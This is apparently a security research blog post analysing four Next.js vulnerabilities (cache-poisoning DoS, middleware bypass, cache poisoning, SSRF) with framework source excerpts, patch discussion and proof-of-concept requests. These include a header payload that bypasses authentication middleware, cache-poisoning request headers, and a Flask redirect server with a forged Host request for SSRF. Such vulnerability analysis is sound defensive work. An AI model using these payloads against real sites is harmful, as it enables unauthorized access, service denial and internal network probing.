[ENG] Deep Dive into Next.js Vulnerabilities: Technical Analysis of Code-Level Vulnerability Origins

TL;DR


In modern web development, Next.js has become more than just a framework. it has established itself as a standard. It has been chosen by countless developers worldwide for its exceptional performance and superior developer experience. At the heart of this success are powerful features like rendering optimization techniques—including Server-Side Rendering (SSR) and Static Site Generation (SSG)—and Middleware, which allows for precise control over the request-response cycle. These tools have enabled developers to efficiently build fast, scalable, and SEO-friendly applications.

However, technological advancement is always a double-edged sword. While the framework’s strengths maximize productivity, a lack of understanding of its internal workings can provide an opening for unexpected security threats. The purpose of this report is not merely to list known vulnerabilities in Next.js but to provide a deep analysis of specific 1-day vulnerabilities. By doing so, we aim to identify their root causes and propose practical directions for secure development. This report investigates CVEs in Next.js such as Cache Poisoning, SSRF, and Middleware Bypass.

What is Next.js?


Next.js is a React framework for building full-stack web applications. You use React Components to build user interfaces, and Next.js for additional features and optimizations.

According to the official documentation, Next.js is “the React Framework for the Web,” used to build UIs with the React library while implementing additional features and optimizations like Server-Side Rendering (SSR), routing, and API creation.

Key Features of Next.js

1. Rendering Strategies

One of the first key features of Next.js is its rendering strategies. Next.js employs a hybrid approach, allowing you to combine various rendering methods on a per-page basis within a single application. This enables you to achieve optimal performance and user experience by using the most suitable rendering strategy for the characteristics of each page.

  • SSR (Server Side Rendering)

    SSR is a method where the server dynamically generates the page each time a user requests it. It’s suitable for pages with frequently changing data and is advantageous for Search Engine Optimization (SEO) as it always reflects the latest content. However, since rendering occurs on the server for every request, it can increase server load.

    1
    2
    3
    export async function getServerSideProps() {
    return { props: { data: await fetchData() } };
    }
  • SSG (Static Site Generation)

    Unlike SSR, SSG pre-generates HTML at build time. Because it serves static pages instantly via a CDN, it is fast. The downside is that the entire application must be rebuilt if the data changes.

    1
    2
    3
    export async function getStaticProps() {
    return { props: { data: await fetchData() } };
    }
  • ISR (Incremental Static Regeneration)
    This method complements the drawbacks of SSG. After an initial build, pages are regenerated and updated in the background at set intervals.

    1
    2
    3
    4
    5
    6
    export async function getStaticProps() {
    return {
    props: { data: await fetchData() },
    revalidate: 60, // regenerate page every 60sec
    };
    }
  • CSR (Client-Side Rendering)
    It is a method of requesting data from a client to fetch or axios, receiving it, and completing HTML.

    1
    2
    3
    4
    "use client";
    useEffect(() => {
    fetch("/api/data").then(setData);
    }, []);
  • RSC (React Server Component)
    Although RSC (React Server Component) is a technology for rendering components on the server, the process of fetching the result to the client is closer to a data communication method. The client requests an RSC payload, which is like a fragment, rather than the entire HTML. This request is included with the Accept header when the client makes a fetch request, and the server returns the RSC data in a binary format.

    1
    2
    3
    4
    5
    6
    7
    8
    GET /dashboard?_rsc=abc123 HTTP/1.1
    Accept: text/x-component
    RSC: 1

    HTTP/1.1 200 OK
    Content-Type: text/x-component

    <RSC Payload>

2. Routing

The Next.js routing system is based on the file system. This allows you to intuitively set up page paths simply by creating folders and files, eliminating the need for complex routing configurations.

  • Static Routing

    Creates URL paths with fixed names. When you create a folder and a page.js file inside it, the folder name becomes the URL path.

    1
    2
    3
    4
    5
    6
    app/
    ├── about/
    │ └── page.js ---> http://www.host.com/about
    └── products/
    └── all/
    └── page.js ---> http://www.host.com/products/all
  • Dynamic Routing
    Handles pages where part of the URL changes. This is done by using square brackets in the folder name, like [folderName].

    1
    2
    3
    4
    app/
    └── blog/
    └── [slug]/
    └── page.js ---> /blog/post1, /blog/post2 ...

Why Next.js?

Next.js is particularly useful for the following types of projects:

  • Websites where Search Engine Optimization(SEO) is critical.
  • Platforms that require high performance.
  • Complex dashboards and web applications.

CVE Analyze


1. CVE-2023-46298 (DoS via cache poisoning)

CVE-2023-48298 is a Denial of Service (DoS) vulnerability through cache poisoning that occurs on Server-Side Rendering (SSR) pages. It allows for a specially crafted prefetch request to induce the server to return an empty response. At this point, since the response lacks a Cache-Control header, a CDN may cache this empty response. Consequently, all subsequent normal users accessing the same page will not receive the intended data from the CDN, making them unable to use the service.

Part1. SSR, The Standard of Frontend

SSR is an indispensable technology in modern frontend development. Since it generates and returns HTML from the server, it’s a suitable technology for pages that return dynamic data.

However, there is a latency since it has to render a new HTML for every request. To solve this, a technology called prefetch exists. Prefetch is a technology that “pre-downloads the data for a page that the client is likely to request.”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// index.tsx
import Link from "next/link";
import type { NextPage } from "next";

const HomePage: NextPage = () => {
return (
<div>
<h1>Next JS Bank</h1>
<p>
<Link href="/ssr">Check my Balance</Link>
</p>
</div>
);
};

When a user first visits this index page, the Link component renders, and Next.js pre-requests the JSON data needed for the /ssr page (only the data, not the full HTML).

prefetch request

prefetch request

prefetch request details

prefetch request details

When you access localhost:3000 and index.tsx is rendered, a prefetch request occurs to /_next/data/<BUILD_ID>/ssr.json, and you can see that you are receiving pageProps data for use in /ssr.

Part2. Cache and CDN

CDNs like CloudFront will use a default cache duration (e.g., 24 hours) for caching if the cache-control header is absent in the response packet. If an “empty object” is what gets cached by the CDN, the Cache Poisoning vulnerability occurs where all users of the same URL receive an empty value. This is the cause of CVE-2023-46298.

Cache Poisoning diagram

Cache Poisoning diagram

Then let’s see how we can get them to return empty objects in the absence of a cache-control header.

Part3. Root Cause

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// https://github.com/vercel/next.js/blob/v13.4.19/packages/next/src/server/base-server.ts#L1487

private async renderToResponseWithComponentsImpl(
{ req, res, pathname, renderOpts: opts }: RequestContext,
{ components, query }: FindComponentsResult
): Promise<ResponsePayload | null> {

// ...

// when we are handling a middleware prefetch and it doesn't
// resolve to a static data route we bail early to avoid
// unexpected SSR invocations
if (!isSSG && req.headers["x-middleware-prefetch"] && !(is404Page || pathname === "/_error")) {
res.setHeader("x-middleware-skip", "1");
res.body("{}").send();
return null;
}

// ...
}

The renderToResponseWithComponentsImpl function is the implementation that handles SSR requests. If the x-middleware-prefetch header’s value is 1 (true), an empty object is returned without a cache-control header. If a middleware exists or an attacker maliciously adds this header to the request, the empty object will be cached on the CDN, causing the Denial of Service (DoS) attack to succeed for all users accessing the same URL.

Part4. Proof of Concept

Normal Prefetch Request

Normal Prefetch Request

In a normal prefetch request, the response is returned correctly along with a cache-control header. The CDN will check this header to determine whether and how long to cache the response.

Bad Prefetch Packet

Bad Prefetch Packet

However, if the x-middleware-prefetch: 1 header is present in the same request, an empty value is returned without a cache-control header. This causes a bug where the CDN, following its default caching policy (e.g., 24 hours for CloudFront), will return an empty value for subsequent requests to that URL.

NextJS-PoC/PoC-cve-2023-46298 at main · aest3ra/NextJS-PoC

Part5. Remediating and Defending

Diffing

Diffing

In Next.js version 13.4.20-canary.13, this was fixed by adding a cache-control header to the response, preventing Cache Poisoning.

Add cache control header for prefetch empty responses by remorses · Pull Request #54732 · vercel/next.js

2. CVE-2025-29927 (Middleware Bypass)

CVE-2025-29927 is a vulnerability where an attacker can bypass the entire middleware logic by manipulating the x-middleware-subrequest header, a special header internally designed to prevent infinite loops in middleware.

Part1. Middleware of Next.js

Next.js Middleware is a feature that allows code to be executed before the request is finally processed. Other frameworks allow middleware to be implemented using libraries, but Next.js handles middleware requests in src/middleware.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// src/middleware.ts
import { NextResponse } from "next/server";

async function checkAdmin(requests) {
// checkin admin logic....
}

export function middleware(request) {
const isAdmin = await checkAdmin(request);
if (!isAdmin) {
return NextResponse.redirect(new URL("/home", request.url));
}
return NextResponse.next();
}

export const config = {
matcher: ["/admin", "/dashboard"],
};

Middleware is commonly used for authentication and authorization. Therefore, being able to bypass the middleware itself would allow for bypass most verification logic.

Part2. Root Cause

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// https://github.com/vercel/next.js/blob/v15.2.2/packages/next/src/server/web/sandbox/sandbox.ts#L105

const run = withTaggedErrors(async function runWithTaggedErrors(params) {
var _params_request_body;
const runtime = await getRuntimeContext(params);
const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
if (depth >= MAX_RECURSION_DEPTH) {
return {
waitUntil: Promise.resolve(),
response: new runtime.context.Response(null, {
headers: {
'x-middleware-next': '1'
}
})
};
}
// .....

This part causes CVE-2025-29927. To start with, you can ignore middleware if you enter the conditional statement. For this, the following conditions must be met.

  • Request with x-middleware-subrequest header
  • Array length parsed based on header value : should be at least 5
  • The value of each array must be equal to the value of params.name
  1. If the x-middleware-subrequest header exists, its value is split by : and stored in subrequests

    1
    2
    x-middleware-subrequest: aaa:bbb:ccc
    subrequests -> ['aaa', 'bbb', 'ccc']
  2. Check how many values params.name match each value in the subrequests array, and store the number of matches in the depth variable. params.name is the path of middleware. After Next.js version 13, it becomes either middleware or src/middleware.

  3. Therefore, the final payload is based on Next.js version 13 and later, as we need to have at least 5 params.name values in the array:

    1
    2
    3
    4
    5
    6
    GET /admin HTTP/1.1
    x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

    // if "middleware.js" or "middleware.ts" is in src/ folder
    GET /admin HTTP/1.1
    x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

스크린샷 2025-07-28 오전 11.22.21.png

Part3. Proof of Concept

스크린샷 2025-07-19 오전 2.44.36.png

The /admin path is protected by the middleware’s authorization logic, so if you send a request without permission, it is redirected to the / path.

스크린샷 2025-07-19 오전 2.46.27.png

By adding the x-middleware-subrequest header and its value appropriately to the same path, it can be seen that the /admin path has been successfully approached.

NextJS-PoC/PoC-cve-2025-29927 at main · aest3ra/NextJS-PoC

Part4. Remediating and Defending

스크린샷 2025-07-19 오전 2.49.07.png

The server side generates a globally used x-middleware-subrequest-id value and receives x-middleware-subrequest-id and x-middleware-subrequest values when verifying middleware-related headers, which are patched to verify that the x-middleware-subrequest header is generated by the server.

Update middleware request header (#77201) · vercel/next.js@52a078d

3. CVE-2024-46982 (Cache poisoning)

CVE-2024-46982 is a vulnerability that can pollute the cache of a static server-side rendering endpoint by adding headers internally used by the Next.js server within an HTTP request. By default, endpoints where server-side rendering occurs should not be cached regardless of whether they are dynamic or static. However, if a specific HTTP header and parameter are added to a request to a non-dynamic server-side rendering endpoint on a server affected by this CVE, it becomes possible to include Cache-Control: s-maxage=1, stale-while-revalidate in the server’s response. In other words, it means that response caching can be forced. Then, let’s find out which header needs to be added to induce cache poisoning, and how the added header was parsed within the Next.js server, resulting in the vulnerability.

Affected

  • Next.js >= 13.5.1 , < 14.2.10
    • In the case of using an SSR route that is not dynamic
      1
      pages/dashboard.tsx (vulnerable)
      1
      pages/blog/[slug].tsx (not vulnerable)

Part1. x-now-route-matches

The following header must be added to the HTTP request to induce cache poisoning.

1
2
x-now-route-matches: 1
x-NextJS-cache: INVALIDATE

First is the x-now-route-matches header. This header is internally used by Next.js to determine whether the current request is an SSG request. An SSG (Static Site Generation) request refers to a feature where HTML page data is pre-generated at build time for faster response and caching.

https://github.com/vercel/next.js/blob/979fedb8d42b9e42f515e9e5451b5b3c96b97d53/packages/next/src/server/base-server.ts#L1991

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
...
if (
hasFallback ||
staticPaths?.includes(resolvedUrlPathname) ||
// this signals revalidation in deploy environments
// TODO: make this more generic
req.headers['x-now-route-matches']
) {
isSSG = true
} else if (!this.renderOpts.dev) {
isSSG ||= !!prerenderManifest.routes[toRoute(pathname)]
}

// Toggle whether or not this is a Data request
const isNextDataRequest =
!!(
query.__nextDataReq ||
(req.headers['x-nextjs-data'] &&
(this.serverOptions as any).webServerConfig)
) &&
(isSSG || hasServerProps)
...

This is the code that shows how Next.js handles a request when the x-now-route-matches header is present. If the x-now-route-matches header exists in the request, the isSSG variable is set to true, causing the request to be recognized as an SSG request. When Next.js recognizes a request as an SSG request, it sets the following cache headers and behaves in a way that caches the response.

1
Cache-Control: s-maxage=N, stale-while-revalidate

Part2. Root Cause

The root cause of the CVE can be easily identified by checking base-server.ts.

https://github.com/vercel/next.js/blob/979fedb8d42b9e42f515e9e5451b5b3c96b97d53/packages/next/src/server/base-server.ts#L1991

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (
hasFallback ||
staticPaths?.includes(resolvedUrlPathname) ||
// this signals revalidation in deploy environments
// TODO: make this more generic
req.headers["x-now-route-matches"]
) {
isSSG = true;
} else if (!this.renderOpts.dev) {
isSSG ||= !!prerenderManifest.routes[toRoute(pathname)];
}

// Toggle whether or not this is a Data request
const isNextDataRequest =
!!(
query.__nextDataReq ||
(req.headers["x-nextjs-data"] &&
(this.serverOptions as any).webServerConfig)
) &&
(isSSG || hasServerProps);

First, it retrieves and references the x-now-route-matches header from the request, but it does not verify whether the header value was passed from an external source or generated internally.

https://github.com/vercel/next.js/blob/99de0573009208e584d10a810ed84c4b6cf9b4fe/packages/next/src/server/base-server.ts#L2577

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
...
const result = await doRender({
// Only requests that aren't revalidating can be resumed. If we have the
// minimal postponed data, then we should resume the render with it.
postponed:
!isOnDemandRevalidate && !isRevalidating && minimalPostponed
? minimalPostponed
: undefined,
})
if (!result) {
return null
}

return {
...result,
revalidate:
result.revalidate !== undefined
? result.revalidate
: /* default to minimum revalidate (this should be an invariant) */ 1,
}
},
{
routeKind: routeModule?.definition.kind,
incrementalCache,
isOnDemandRevalidate,
isPrefetch: req.headers.purpose === 'prefetch',
}
)
...

Second, the revalidate value seen in the code is an option used within getStaticProps() that defines the caching period to ensure minimal cache validity. By inspecting the Next.js code, we can see that if revalidate is not set, a ternary operator assigns it a value of 1. When revalidate is set to 1, the page is cached for about one second, making it possible to cache pages that were not originally configured for caching. These two factors together lead to the vulnerability.

Part3. PoC for CVE-2024-46982

The PoC for CVE-2024-46982 is very simple. By adding the x-now-route-matches header to the HTTP request as shown below, the vulnerability can be demonstrated.

image.png

However, in the Postman request shown in the attached image, we can observe the presence of the X-Nextjs-Cache header and the __nextDataReq parameter in addition to the x-now-route-matches header. These are closer to elements used for exploiting the vulnerability at a more advanced level rather than being part of the basic PoC.

First, the __nextDataReq parameter is used to request elements such as pageProps, __N_SSP, etc., which are used for page composition, rather than the actual HTML content that should be returned from the path. Therefore, when an HTTP request is sent with this parameter, only the components used for building the page are returned instead of the HTML page, which can lead to a DoS condition (as a regular user does not receive the expected page content).

Additionally, X-Nextjs-Cache is a header that, simply put, indicates what kind of caching behavior occurred in response to the request. In the PoC, the value is set to INVALIDATE, which means that previously stored cache is invalidated.

Thus, the PoC can be interpreted as follows:

  • x-now-route-matches:1 : This request is an SSG request.
  • __nextDataReq : Return only the page composition elements.
  • X-Nextjs-Cache:INVALIDATE : Invalidate the cache.

As a result, the existing cache is invalidated, and the server caches the page composition elements and returns them to all users.

At this point, if client input values such as User-Agent are included in the server response and an XSS or similar vulnerability occurs, it can lead to a supply-chain-style XSS attack targeting all users.

Part4. Remediating and Defending

https://github.com/vercel/next.js/commit/7ed7f125e07ef0517a331009ed7e32691ba403d3

image.png

The patch was applied as follows. The existing behavior, where the revalidate value was automatically set to 1 if not specified by the developer, was changed so that it remains in an undefined state. During rendering, if the revalidate value is not explicitly set, the logic was modified to explicitly assign it a value of 0.

Upon seeing this patch, one might question, “Shouldn’t the root cause—the fact that the x-now-route-matches header affects internal server behavior—be directly blocked?” This is certainly a valid question. However, instead of preventing externally provided x-now-route-matches headers from influencing internal behavior, the Next.js team chose to patch the logic so that caching does not occur unless the developer explicitly sets a revalidate value for the route.

This decision was likely made to maintain simplicity in the patch and to minimize the potential impact on other functionalities.

4. CVE-2024-34351 (SSRF)

CVE-2024-34351 is an SSRF vulnerability that allows an attacker to send an HTTP GET request to an arbitrary IP address by manipulating the Host header and adding headers used only by Next.js. In typical SSRF vulnerabilities, the issue usually arises when the server contains code that sends a request to a URL controllable by the client. However, in this case, the vulnerability can occur even without such logic on the server side. Moreover, it is even possible to observe the response to the HTTP request. Below is an analysis of this vulnerability.

Affected

  • NextJS >= 13.4.0 , < 14.1.1
    • NextJS running with SELF-HOSTING
    • NextJS application uses Server-Action
    • Server-Action perform relative-Path Redirection

Part1. Next.js Server-Action

Before understanding this CVE, it is important to first understand the concept of Server Actions used in Next.js. Server Actions are a method of invoking server-side functions within the App Router, based on the RSC (React Server Components) architecture. To explain this more simply, let’s continue with an example code snippet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// app/page.tsx
"use server";

async function createPost(formData: FormData) {
const title = formData.get("title");
await db.post.create({ data: { title } });
}

export default function Page() {
return (
<form action={createPost}>
<input type="text" name="title" />
<button type="submit">작성</button>
</form>
);
}

Let’s assume the following code exists. The createPost() function is called on the server side. When the logic is structured as shown above, the {createPost} part in <form action={createPost}> is replaced with an action ID that identifies the server-side createPost() function. When the form is submitted, the server receives the action ID and invokes the corresponding server function mapped to that ID.

Part2. Root Cause

The vulnerability occurred during the process of handling the Server Action described above. This can be confirmed through the following code logic.

The code below is responsible for handling Server Action calls.

https://github.com/vercel/next.js/blob/18200a849b8feb74de3fc51583731d49cba3ce2b/packages/next/src/server/app-render/action-handler.ts#L182

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
...
const host = originalHost.value
const proto =
staticGenerationStore.incrementalCache?.requestProtocol || 'https'
const fetchUrl = new URL(
`${proto}://${host}${basePath}${parsedRedirectUrl.pathname}`
)

if (staticGenerationStore.revalidatedTags) {
forwardedHeaders.set(
NEXT_CACHE_REVALIDATED_TAGS_HEADER,
staticGenerationStore.revalidatedTags.join(',')
)
forwardedHeaders.set(
NEXT_CACHE_REVALIDATE_TAG_TOKEN_HEADER,
staticGenerationStore.incrementalCache?.prerenderManifest?.preview
?.previewModeId || ''
)
}

// Ensures that when the path was revalidated we don't return a partial response on redirects
// if (staticGenerationStore.pathWasRevalidated) {
forwardedHeaders.delete('next-router-state-tree')
// }

try {
const headResponse = await fetch(fetchUrl, {
method: 'HEAD',
headers: forwardedHeaders,
next: {
// @ts-ignore
internal: 1,
},
})

if (
headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER
) {
const response = await fetch(fetchUrl, {
method: 'GET',
headers: forwardedHeaders,
next: {
// @ts-ignore
internal: 1,
},
})
// copy the headers from the redirect response to the response we're sending
for (const [key, value] of response.headers) {
if (!actionsForbiddenHeaders.includes(key)) {
res.setHeader(key, value)
}
}

return new FlightRenderResult(response.body!)
}
} catch (err) {
// we couldn't stream the redirect response, so we'll just do a normal redirect
console.error(`failed to get redirect response`, err)
}
...

Looking at the code logic, we can see that the Host header is referenced with const host = originalHost.value to generate the fetchUrl. A HEAD request is then sent to that URL, and if the response content-type is RSC_CONTENT_TYPE_HEADER (text/x-component), a GET request is sent.

1
export const RSC_CONTENT_TYPE_HEADER = "text/x-component" as const;

It can also be seen that after the GET request is sent, the response body is referenced to generate the rendering result. This logic is what led to the vulnerability.

Part3. PoC for CVE-2024-34351

As can be seen from the root cause, the following conditions must be met and known in order to demonstrate the vulnerability:

  • Whether Server Actions are used and the Action ID (a value visible on the client side)
  • A custom server that returns text/x-component as the content-type in response to a HEAD request and redirects the requester to an arbitrary URL upon a GET request

Therefore, to reproduce the vulnerability, a server like the one below must be running:

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, Response, request, redirect
app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
if request.method == 'HEAD':
resp = Response("")
resp.headers['Content-Type'] = 'text/x-component'
return resp
return redirect('http://127.0.0.1/admin') # Target URL

You can reproduce the vulnerability by locating the Action ID exposed on the client side and sending a request to the server as shown below.

1
2
3
4
5
6
POST / HTTP/1.1
Host: <Attaker Server URL URL>/
Content-Length: 2
Next-Action: <Action ID>

[]

This will allow you to demonstrate the vulnerability.

Part4. Remediating and Defending

https://github.com/vercel/next.js/commit/8f7a6ca7d21a97bc9f7a1bbe10427b5ad74b9085

The patch was applied as follows.

image.png

image.png

The action handling logic and the server startup logic were modified. First, in the action handling logic where the vulnerability occurred, it was changed to prioritize referencing process.env.__NEXT_PRIVATE_HOST over originalHost.value. Additionally, during server startup, a new logic was added to set process.env.__NEXT_PRIVATE_HOST, so that under normal circumstances, requests are not sent based on headers received from the client.

From the nature of these changes, it appears that if the environment variable is modified or process.env can be manipulated through an attack such as prototype pollution, SSRF may still be possible.

Conclusion

Through researching Next.js, I was able to identify many unique features that differentiate it from other web frameworks. These characteristics clearly offer advantages in terms of user convenience and server performance. However, as seen in most of the CVEs introduced above, the lack of proper header management leads to various vulnerabilities. Through these CVEs, I hope that as Next.js continues to evolve and introduce new features, it will also adopt a more security-conscious approach by not trusting external input values without validation, ultimately resulting in a more robust and secure framework.

References

https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole

https://zhero-web-sec.github.io/research-and-things/nextjs-cache-and-chains-the-stale-elixir

https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware

https://zhero-web-sec.github.io/research-and-things/eclipse-on-nextjs-conditioned-exploitation-of-an-intended-race-condition

https://blog.viktormares.com/deep-diving-into-cve-2023-46298-resource-exhaustion-in-next-js-7f4312d0cb3f

https://www.assetnote.io/resources/research/doing-the-due-diligence-analyzing-the-next-js-middleware-bypass-cve-2025-29927